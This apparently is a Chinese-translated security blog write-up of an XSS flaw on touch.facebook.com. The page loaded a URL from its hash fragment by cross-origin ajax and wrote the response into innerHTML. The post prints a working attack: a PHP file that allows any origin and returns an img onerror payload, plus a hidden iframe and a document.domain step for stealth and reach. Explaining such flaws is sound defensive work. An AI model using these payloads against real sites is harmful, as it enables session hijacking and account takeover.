原文是英文的,将大致Xss流程转过来了。 传统情况下 缺陷URL是:http://touch.facebook.com/#profile.php 打开这个页面后, 会执行下面的操作 (这里是基于JQ的伪代码) $.get(#后面的地址,function(返回内容){ $("#somediv").innerHTML=返回内容 }); 在以前,这里不会带来安全问题, 因为 浏览器 是不允许跨域请求的。 HTML5中 在HTML5中,支持CORS(Cross-Origin Resource Sharing),跨域资源共享?可能是这么翻译的吧。。 也就是说,在HTML5中,我们可以向不同域的网站发送请求。 例如这个例子里,我们可以 http://touch.facebook.com/#http://example.com/xss.php 那么打开上面这个地址, 页面会通过ajax向http://example.com/xss.php 发送跨域请求。 这个时候浏览器会检查http://example.com/xss.php 所返回的 请求头。 看头中的Access-Control-Allow-Origin 头是否允许来自touch.facebook.com的请求。 为了允许来自touch.facebook.com的请求, xss.php的代码如下,用header对response 的头进行设置。 <?php // Specify domains from which requests are allowed header('Access-Control-Allow-Origin: *'); // Specify which request methods are allowed header('Access-Control-Allow-Methods: GET, POST, OPTIONS'); // Additional headers which may be sent along with the CORS request header('Access-Control-Allow-Headers: X-Requested-With'); // Exit early so the page isn't fully loaded for options requests if (strtolower($_SERVER['REQUEST_METHOD']) == 'options') { exit(); } ?> <!-- this div is needed to load the payload into facebook --> <div tab="home_menu" id="feed_tabbox" onreplace="fb.updateCurrentPage()"> <img style="display:none" src="x" onerror="alert('xss')" /> </div>这样一来,touch.facebook.com 会通过ajax跨域获取到example.com/xss.php的内容,并通过innerHTML输出到页面,从而导致Xss的发生。 ----- 为了使攻击变得更加隐蔽,可以在其它网站iframe 这个页面 <iframe src="http://touch.facebook.com/#http://example.com/xss.php" style="display:none"></iframe> 为了让touch.facebook.com这个页面能直接对facebook.com操作,可在JS里加入 document.domain = 'facebook.com' 浏览器对CORS的支持情况 CORS在IE8 以及 当前其它主流的浏览器中被支持。(Firefox 3.5, Safari 4, and Google Chrome. 其中IE8 ,普通的AJAX请求是XMLHttpRequest, 跨域请求则专门有一个对象XDomainRequest 浏览器兼容的CORS代码 国外网站转过来的,主要点是通过withCredentials和XDomainRequest来判断是否支持CORS function createCORSRequest(method, url) { var xhr = new XMLHttpRequest(); if ("withCredentials" in xhr) { // Check if the XMLHttpRequest object has a "withCredentials" property. // "withCredentials" only exists on XMLHTTPRequest2 objects. xhr.open(method, url, true); } else if (typeof XDomainRequest != "undefined") { // Otherwise, check if XDomainRequest. // XDomainRequest only exists in IE, and is IE's way of making CORS requests. xhr = new XDomainRequest(); xhr.open(method, url); } else { // Otherwise, CORS is not supported by the browser. xhr = null; } return xhr; } var xhr = createCORSRequest('GET', url); if (!xhr) { throw new Error('CORS not supported'); }原文地址:http://m-austin.com/blog/?p=19 参考:http://www. html 5rocks.com/en/tutorials/cors/
查看更多关于HTML5跨域请求特性导致的Fackbook Xss - 网站安全的详细内容...